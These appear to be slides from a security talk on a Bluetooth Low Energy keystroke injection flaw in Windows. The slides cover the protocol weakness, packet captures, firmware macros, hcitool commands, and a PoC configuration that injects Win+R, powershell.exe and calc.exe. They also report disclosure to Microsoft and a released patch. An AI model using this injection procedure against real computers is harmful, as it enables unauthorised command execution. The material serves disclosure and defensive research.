Wireless Keystroke Injection (WKI) via Bluetooth Low Energy (BLE)

JOSÉ PICÓ
fernando.perera@layakk.com

JOSÉ PICÓ
fernando.perera@layakk.com
What is this talk about?

DON’T BELIEVE ME

JUST WATCH
The attack scenario

What you just saw
The attack scenario: initial situation

The legitimate keyboard is communicating with the target Windows system using a BLE encrypted connection. The encryption key used has been established during the previous pairing phase in secure mode.
The attack scenario: user inactivity

After a few minutes of user inactivity, the BLE keyboard terminates the BLE channel and goes to sleep until the user presses a key again. All bluetooth communications are stopped.
The attack scenario: **WKI (Wireless Keystroke Injection)**

The attacker impersonates the legitimate keyboard and sends arbitrary keys to the target machine.
The attack scenario: immediate question

Hey!
Wait a minute!

The keyboard is using a protected channel because it did perform the secure “pairing procedure”!!
YES! Exactly...

That’s what this is all about
Us

► **Two Spaniards that like:**

- playing with security
- playing with communication protocols
- climbing
- motor-biking
- working at Layakk
CONTENTS

► Bluetooth Low Energy (BLE) concepts
► What makes the attack possible?
► Exploiting the vulnerability
► The proof of concept
► Vulnerability disclosure
► Publication
► References
BLE concepts

A brief description of some BLE concepts
BLE PAIRING

The first time two Bluetooth devices connect they execute this procedure the objective of which is to establish a key (LTK - Long Term Key) that will be used to protect every subsequent connections between the devices (if bonding is activated, which is the usual situation).

BLE supports two different pairing schemes:
- LE Legacy pairing
- LE Secure pairing

The following association models are supported (depending on the pairing scheme):
- Numeric Comparison
- Just Works
- Passkey Entry
- Out of Band
BLE ENCRYPTION LAYER

Host-Controller Interface

PDU Encryption happens here (at Link Layer Level)
BLE ENCRYPTION LAYER

PDU Encryption happens here (at Link Layer Level)

Host-Controller Interface
Enter connection state when previously paired *(simplified)*

**MASTER**

- **Host**
- **Link Layer**

- **LE_Create** (Peer, Scan spec, ...)

**SLAVE**

- **Link Layer**
- **Host**

- **HCI_LE_Set_Advertising_Enable**

CONNECTABLE ADVERTISING

(Directed or Undirected)

- **CONNECT_IND** (INITAddr, ADVAddr, LLData)

**HCI_LE_Connection_Complete**

**HCI_LE_Connection_Complete**
### BLE Encryption activation (I)

**MASTER**

- **Host**
- **Link Layer**

**SLAVE**

- **Link Layer**
- **Host**

### HCI_LE_Enable-Encryption (ConnHnd, Rand, EDIV, LTK)

- **SKD**
- **IV**

### LL_ENC_REQ (Rand, EDIV, SKD, IV)

#### SKD = SKD<sub>M</sub> || SKD<sub>S</sub>,  IV = IV<sub>M</sub> || IV<sub>S</sub>

#### SessionKey = EncEngine(PlainText=SKD, Key=LTK, IV=IV)

### HCI_LE_Long_Term-Key_Request (ConnHnd, Rand, EDIV)

### HCI_LE_Long_Term-Key_Request_REPLY (ConnHnd, LTK)

**Notes:**

- **SKD** = master key || slave key
- **IV** = master IV || slave IV
- **SessionKey** is generated using the EncEngine function with the provided key and IV.
BLE Encryption activation (II)

**Host**
- **Link Layer**
- **HCI_Encryption_Change** (Status, ConnHnd, Enc_Enabled)

**Slave**
- **Link Layer**
- **HCI_Encryption_Change** (Status, ConnHnd, Enc_Enabled)

**Encryption**
- **LL_START_ENC_REQ**
- **LL_START_ENC_RSP**

**Encrypted Communications**
How is this possible?

What makes the attack possible?
The BLE specification part that allows the attack

**MASTER**

- Host
- Link Layer

**SLAVE**

- Link Layer
- Host

**HCI_LE_Enable-Encryption** (ConnHnd, Rand, EDIV, LTK)

- SKD<sub>M</sub>
- IV<sub>M</sub>

**LL_ENC_REQ** (Rand, EDIV, SKD<sub>M</sub>, IV<sub>M</sub>)

- SKD<sub>S</sub>
- IV<sub>S</sub>

**LL_ENC_RSP** (SKD<sub>S</sub>, IV<sub>S</sub>)

**HCI_LE_Long_Term-Key_Request** (ConnHnd, Rand, EDIV)

**HCI_LE_Long_Term-Key_Request_Reply** (ConnHnd, LTK)

**SessionKey = EncEngine(PlainText=SKD, Key=LTK, IV=IV)**

**Notes:**

- SKD = SKD<sub>M</sub> || SKD<sub>S</sub>, IV = IV<sub>M</sub> || IV<sub>S</sub>
The BLE specification part that allows the attack

Otherwise, when the Link Layer of the slave receives an LL_ENC_REQ PDU it shall generate the slave’s part of the initialization vector (IVs) and the slave’s part of the session key diversifier (SKDs). IVs shall be a 32 bit random number generated by the Link Layer of the slave. SKDs shall be a 64 bit random number generated by the Link Layer of the slave. Both IVs and SKDs shall be generated using the requirements for random number generation defined in [Vol 2] Part H, Section 2.

The Link Layer of the slave shall finalize the sending of the current Data Physical Channel PDU and may finalize the sending of additional Data Physical Channel PDUs queued in the Controller. After these Data Physical Channel PDUs are acknowledged, until this procedure is complete or specifies otherwise, the Link Layer of the slave shall only send Empty PDUs, LL_TERMINATE_IND PDUs, and PDUs required by this procedure.

If any of the Data Physical Channel PDUs sent by the slave is an LL Control PDU, the Link Layers shall resume any outstanding procedure(s) after the Encryption Start procedure has completed.

The Link Layer of the slave shall then send an LL_ENC_RSP PDU. The Link Layer of the slave shall then notify the Host with the Rand and EDIV fields. After having sent the LL_ENC_RSP PDU, the Link Layer of the slave can receive an LL_UNKNOWN_RSP PDU corresponding to an LL Control PDU sent by the slave. The slave should not disconnect the link in this case.
The BLE specification part that allows the attack

**MASTER**

- **Host**
- **Link Layer**

**SLAVE**

- **Link Layer**
- **Host**

**HCI_LE_Enable-Encryption** (ConnHnd, Rand, EDIV, LTK)

**LL_ENC_REQ** (Rand, EDIV, SKD_M, IV_M)

**LL_ENC_RSP** (SKD_S, IV_S)

\[ SKD = SKD_M || SKD_S, \quad IV = IV_M || IV_S \]

**SessionKey = EncEngine(PlainText=SKD, Key=LTK, IV=IV)**

Exactly at this point, there is a window when the slave can send any unencrypted PDU (data and/or control) to the master.
It seems that the Operating System HID implementation does not wait for the HCI_Encryption_Change event to accept any data PDU from it.
Exploiting the vulnerability
First Approach: HOST Level

► Working with Mirage Framework ¹:
  ❑ HCI Adapter (Chipset CSR8510)

► Use Mirage for hooking `onConnect` and send keystrokes from Host

► Need some tries for success

► Disordered Keystrokes and Instability

¹. https://github.com/RCayre/mirage
First Approach: HOST Level

Results on the air

Connection Request is received by Slave
First Approach: HOST Level

Results on the air

Start sending keystrokes just after “OnConnect” event

- Frame 185: 37 bytes on wire (296 bits), 37 bytes captured (296 bits)
  - Bluetooth
  - Bluetooth Low Energy RF Info
  - Bluetooth Low Energy Link Layer
  - Bluetooth L2CAP Protocol
  - Bluetooth Attribute Protocol
  - Opcode: Handle Value Notification (0x1b)
  - Handle: 0x0013 (Unknown)
  - Value: 020400000000000000000000
First Approach: HOST Level

► Results on the air

<table>
<thead>
<tr>
<th>Source Address</th>
<th>Destination Address</th>
<th>Type</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CyberTAN_6a:07:00</td>
<td>zte_ba:d7:41</td>
<td>LE</td>
<td>LL</td>
<td>53 CONNECT_REQ</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>LE</td>
<td>LL</td>
<td>28 Control Opcode: LL_LENGTH_REQ</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_UNKNOWN_RSP</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>LE</td>
<td>LL</td>
<td>42 Control Opcode: LL_ENC_REQ</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>LE</td>
<td>LL</td>
<td>32 Control Opcode: LL_ENC_RSP</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_REJECT_IND</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_TERMINATE_IND</td>
</tr>
<tr>
<td>Unknown_xced14d...</td>
<td>Unknown_xced...</td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
</tbody>
</table>

ENC_REQ is received from Master
First Approach: HOST Level

► Results on the air

<table>
<thead>
<tr>
<th>Device Address</th>
<th>Device Address</th>
<th>Opcode</th>
<th>Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CyberTAN_6a:07:00 zte_ba:d7:41</td>
<td>LE LL</td>
<td>53</td>
<td>CONNECT_REQ</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>LE LL</td>
<td>28</td>
<td>Control Opcode: LL_LENGTH_REQ</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>LE LL</td>
<td>21</td>
<td>Control Opcode: LL_UNKNOWN_RSP</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>ATT</td>
<td>37</td>
<td>UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>ATT</td>
<td>37</td>
<td>UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>LE LL</td>
<td>42</td>
<td>Control Opcode: LL_ENC_REQ</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>LE LL</td>
<td>32</td>
<td>Control Opcode: LL_ENC_RSP</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>LE LL</td>
<td>21</td>
<td>Control Opcode: LL_REJECT_IND</td>
<td></td>
</tr>
<tr>
<td>Unknown_xced14d... Unknown_xced14d...</td>
<td>LE LL</td>
<td>21</td>
<td>Control Opcode: LL_TERMINATE_IND</td>
<td></td>
</tr>
</tbody>
</table>

Slave continues sending keys
First Approach: HOST Level

Results on the air

- Slave controller automatically responds ENC_REQ with ENC_RSP
- After this, HCI Event “LE Long Term Key Request” is sent by Slave Controller to Slave Host
First Approach: HOST Level

► Results on the air

```plaintext
CyberTAN_6a:07:00  zte_ba:d7:41  LE LL  53 CONNECT_REQ
Unknown_0xed14d... Unknown_0xed14d... LE LL  28 Control Opcode: LL_LENGTH_REQ
Unknown_0xed14d... Unknown_0xed14d... LE LL  21 Control Opcode: LL_UNKNOWN_RSP
Unknown_0xed14d... Unknown_0xed14d... ATT  37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)
Unknown_0xed14d... Unknown_0xed14d... ATT  42 Control Opcode: LL_ENC_REQ
Unknown_0xed14d... Unknown_0xed14d... ATT  37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)
Unknown_0xed14d... Unknown_0xed14d... LE LL  32 Control Opcode: LL_ENC_RSP
Unknown_0xed14d... Unknown_0xed14d... LE LL  21 Control Opcode: LL_REJECT_IND
Unknown_0xed14d... Unknown_0xed14d... LE LL  21 Control Opcode: LL_TERMINATE_IND
Unknown_0xed14d... Unknown_0xed14d... ATT  37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)
```

Reject indication is sent after Slave Host indicates LTK Error “Missing Key”
First Approach: HOST Level

**Results on the air**

<table>
<thead>
<tr>
<th>Time</th>
<th>MAC Address</th>
<th>Type</th>
<th>Connect ID</th>
<th>Opcode</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>07:00</td>
<td>CyberTAN_6a:07:00</td>
<td>LE</td>
<td>LL</td>
<td>53 CONNECT_REQ</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>LE</td>
<td>LL</td>
<td>28 Control Opcode: LL_LENGTH_REQ</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_UNKNOWN_RSP</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>ATT</td>
<td>LL</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>ATT</td>
<td>LL</td>
<td>42 Control Opcode: LL_ENC_REQ</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>ATT</td>
<td>LL</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>LE</td>
<td>LL</td>
<td>32 Control Opcode: LL_ENC_RSP</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_REJECT_IND</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_TERMINATE_IND</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unknown_0xed14d...</td>
<td>ATT</td>
<td>LL</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
</tbody>
</table>

Master closes connection immediately
First Approach: HOST Level

Results on the air

<table>
<thead>
<tr>
<th>MAC Address</th>
<th>Type</th>
<th>Length</th>
<th>Opcode</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>CyberTAN_6a:07:00 zte_ba:d7:41</td>
<td>LE</td>
<td>LL</td>
<td>53 CONNECT_REQ</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>LE</td>
<td>LL</td>
<td>28 Control Opcode: LL_LENGTH_REQ</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_UNKNOWN_RSP</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>ATT</td>
<td></td>
<td>42 Control Opcode: LL_ENC_REQ</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>LE</td>
<td>LL</td>
<td>32 Control Opcode: LL_ENC_RSP</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_REJECT_IND</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>LE</td>
<td>LL</td>
<td>21 Control Opcode: LL_TERMINATE_IND</td>
<td></td>
</tr>
<tr>
<td>Unknown_0xced14d... Unknown_0xced...</td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
<td></td>
</tr>
</tbody>
</table>

Fake Slave continues sending keystrokes but they aren’t processed by Master
Final Approach: CONTROLLER Level

- Working with Zephyr Project:
  - nRF52840-Dongle

- Use Zephyr HCI_USB sample

- Intercepts ENC_REQ message and send keystrokes from controller.

- “Deterministic” behavior and more stability

1. https://www.zephyrproject.org/bluetooth-on-zephyr-rtos
2. https://www.nordicsemi.com/Products/Development-hardware/nrf52840-dongle
Final Approach: CONTROLLER Level

Results on the air

Connection Request is received by Slave
## Final Approach: CONTROLLER Level

### Results on the air

<table>
<thead>
<tr>
<th>Source</th>
<th>Value</th>
<th>Length</th>
<th>Opcode</th>
<th>Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>CyberTAN_6a</td>
<td>07:00 d8:f1:b3:82:9...</td>
<td>LE</td>
<td>53</td>
<td>CONNECT_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324...</td>
<td>LE</td>
<td>28</td>
<td>Control Opcode: LL_SLAVE_FEATURE_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324...</td>
<td>LE</td>
<td>25</td>
<td>Version IND</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324...</td>
<td>LE</td>
<td>21</td>
<td>UNKNOWN_RSP</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324...</td>
<td>LE</td>
<td>25</td>
<td>VERSION IND</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324...</td>
<td>LE</td>
<td>28</td>
<td>FEATURE REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324...</td>
<td>LE</td>
<td>28</td>
<td>FEATURE_RSP</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324...</td>
<td>LE</td>
<td>42</td>
<td>ENC_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324... ATT</td>
<td></td>
<td>37</td>
<td>UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>Unknown_0x324f35</td>
<td>Unknown_0x324... ATT</td>
<td></td>
<td>37</td>
<td>UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
</tbody>
</table>

- **LL_CTRL message exchange previous to LL_ENC_REQ**
- **Modified Slave Controller works as a standard controller in this phase**
Final Approach: CONTROLLER Level

Results on the air

<table>
<thead>
<tr>
<th>Device</th>
<th>Type</th>
<th>LE</th>
<th>LL</th>
<th>Opcode</th>
</tr>
</thead>
<tbody>
<tr>
<td>CyberTAN_6a:07:00</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>53 CONNECT_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>28 LL_SLAVE_FEATURE_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>25 LL_VERSION_IND</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>21 LL_UNKNOWN_RSP</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>25 LL_VERSION_IND</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>28 LL_FEATURE_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>28 LL_FEATURE_RSP</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>LE</td>
<td>LL</td>
<td>42 LL_ENC_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>Unknown_0x324f35...</td>
<td></td>
<td>ATT</td>
<td></td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
</tbody>
</table>

ENC_REQ is received from Master
Final Approach: CONTROLLER Level

Results on the air

- Slave Controller **DOES NOT** reply LL_ENC_REQ with LL_ENC_RSP
- HCI Event “LE Long Term Key Request” is **NOT PRODUCED**
Final Approach: CONTROLLER Level

Results on the air

<table>
<thead>
<tr>
<th>Details</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>CyberTAN_6a:07:00  d8:f1:b3:82:9... LE LL</td>
<td>53 CONNECT_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... LE LL</td>
<td>28 Control Opcode: LL_SLAVE_FEATURE_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... LE LL</td>
<td>25 Control Opcode: LL_VERSION_IND</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... LE LL</td>
<td>21 Control Opcode: LL_UNKNOWN_RSP</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... LE LL</td>
<td>25 Control Opcode: LL_VERSION_IND</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... LE LL</td>
<td>28 Control Opcode: LL_FEATURE_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... LE LL</td>
<td>28 Control Opcode: LL_FEATURE_RSP</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... LE LL</td>
<td>42 Control Opcode: LL_ENC_REQ</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
</tbody>
</table>

Modified Slave Controller starts sending Keystrokes
Final Approach: CONTROLLER Level

### Results on the air

- **Modified Slave Controller continues sending keystrokes**
- **Master Controller is waiting for LL_ENC_RSP and only responds with ACKs (filtered Empty PDUs)**

<table>
<thead>
<tr>
<th>M ← S</th>
<th>Unknown_0x324f35... Unknown_0x324... AT</th>
<th>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</th>
</tr>
</thead>
<tbody>
<tr>
<td>M ← S</td>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>M ← S</td>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>M ← S</td>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>M ← S</td>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>M ← S</td>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>M ← S</td>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown)</td>
</tr>
<tr>
<td>M ← S</td>
<td>Unknown_0x324f35... Unknown_0x324... AT</td>
<td>21 Control Opcode: LL_TERMINATE_IND</td>
</tr>
</tbody>
</table>
Final Approach: CONTROLLER Level

Results on the air

| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |
| Unknown_0x324f35... Unknown_0x324... ATT | 37 UnknownDirection Handle Value Notification, Handle: 0x0013 (Unknown) |

After about 30 seconds Master Controller terminates the communication
Implemented Upgrades

- Exponential decrement of waiting time between keystrokes
Implemented Upgrades

Configuration via HCI

```c
#define LK_MAX_REPORT_SIZE 20
#define LK_MAX_ACTION_LIST 100
#define LK_MAX_MSG_SIZE LK_MAX_REPORT_SIZE + 1 + 2*3
#define LK_REPORT_ACTION_INDICATOR 0xff

#define LK_HCI_VS_OCF 0x3f
#define LK_BT_OP(ogf, ocf) ((ocf) | ((ogf) << 10))
#define LK_HCI_CMD_OP(cmd_id) LK_BT_OP(LK_HCI_VS_OCF, cmd_id)
#define LK_HCI_OPCODE_SETUP_ALL LK_HCI_CMD_OP(0x03f0)
#define LK_HCI_OPCODE_SETUP_HANDLE LK_HCI_CMD_OP(0x03f1)
#define LK_HCI_OPCODE_SETUP_REPORT_SIZE LK_HCI_CMD_OP(0x03f2)
#define LK_HCI_OPCODE_SETUP_OTYPE LK_HCI_CMD_OP(0x03f3)
#define LK_HCI_OPCODE_ACTIONS_CLEAN LK_HCI_CMD_OP(0x03e1)
#define LK_HCI_OPCODE_ACTIONS_ADD LK_HCI_CMD_OP(0x03e2)
#define LK_HCI_OPCODE_ACTIONS_RUN_FOREVER LK_HCI_CMD_OP(0x03e3)
```

```
hc1tool -i $1 cmd 0x3f 0x003f0 0x13 0x00 0x0b 0x1b # handle: 0x0013 Report size: 11, OpType: Notif.
hc1tool -i $1 cmd 0x3f 0x03e1
hc1tool -i $1 cmd 0x3f 0x03e2 0x00 0x0 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
hc1tool -i $1 cmd 0x3f 0x03e2 0x00 0x13 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```
Implemented Upgrades

► Special Action Configuration

```
$ hctool -i $1 cmd 0x3f 0x03e2 0xff 0x01 0xf4 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```

► Run Forever Option

```
$ hctool -i $1 cmd 0x3f 0x03e3
```
The proof of concept

Infrastructure
Prerequisites
How to program the dongle
Showing the tool in action (again)
What you need...

► A Nordic Semiconductor nRF52840 dongle (~ $30)

► The firmware image containing a modified zephyr hci device
  (https://github.com/Layakk/WKI/firmware.zip)

► The auxiliary tools and scripts
  (https://github.com/Layakk/WKI)
Prerequisites: things you need to acquire

▸ Some characteristics of the impersonated keyboard

- Its vendor/model, which is necessary to obtain the report map (handles, handle usage, handle size, etc.)

- Its MAC Address
Characterizing the target keyboard using a replica

- Analyzing the target: Report Handle, Report Size, Operation Type
Prerequisites: impersonated keyboard MAC Address

- Listening for legitimate keyboard’s MAC during advertising mode before pairing:
  - ADV_IND (undirected)
Listening for legitimate keyboard’s MAC during advertising mode before pairing:

- SCAN_RSP

Prerequisites: impersonated keyboard MAC Address
Prerequisites: impersonated keyboard MAC Address

- Listening for legitimate keyboard’s MAC during reconnection:
  - ADV_DIRECT_IND

```plaintext
Frame 120: 31 bytes on wire (248 bits), 31 bytes captured (248 bits)
Bluetooth
Bluetooth Low Energy RF Info
Bluetooth Low Energy Link Layer
  Access Address: 0x8e89bed6
  Packet Header: 0xo6 (PDU Type: ADV_DIRECT_IND, ChSel: #2, Advertising Address: d8:f1:b3:83:92:d4 (d8:f1:b3:83:92:d4)
  Initiator Address: CyberTAN_6a:07:00 (00:45:e2:6a:07:00)
  CRC: 0x000000
```
How to program the dongle

**Configuration file**

```json
1 {
2   "REPORT_HANDLE": "0x0013",
3   "REPORT_SIZE": 11,
4   "REPORT_OTYPE": "0x1b",
5   "TEXT_SCRIPT": "[L_WIN]+rpowershell.exe{ENTER}{SLEEP 500}calc.exe{ENTER}"
6 }
```

Press Win+r in the same report

Special Action Sleep 500ms

**Use kb_injection.py script to run:**

```
root@lkjg:~/D3FC08/WKI# ./kb_injection.py --help
usage: kb_injection.py [-h] -l HCI -m BDADDR -c CONF_FILE [-n] [-r]

WKI configuration and execution tool.

optional arguments:
  -h, --help           show this help message and exit
  -l HCI, --hcl HCI    HCI Device
  -m BDADDR, --bdaddr BDADDR
                     Keyboard BDADDR to be faked. Format: XX:XX:XX:XX:XX:XX
  -c CONF_FILE, --conf_file CONF_FILE
                     Configuration file
  -n, --no-act         Print commands only, without running it
  -r, --run-forever    Run key loop. Key injection sequence starts again on end
```
Showing the tool in action (again)
Maximum number of effective keystrokes

Over 13,000
Vulnerability disclosure
Vulnerability disclosure

► We reported the vulnerability to MSRC in February 2022

► Microsoft acknowledged the vulnerability:

- Assigned ID: VULN-061470
- Classification:
  - Remote Code Execution
  - Severity: Important

► The patch for this vulnerability has already been released
If you want to play with it...
Where to find things if you want to play with them

► This talk :-)  

► Detailed article in our blog:
  https://www.layakk.com/blog/wireless-keystroke-injection-vulnerability

► PoC tool, available in our github page:
  https://github.com/Layakk/WKI
Compilation of related references
References

Related Tools:
- **Zephyr Project**: [https://www.zephyrproject.org](https://www.zephyrproject.org)
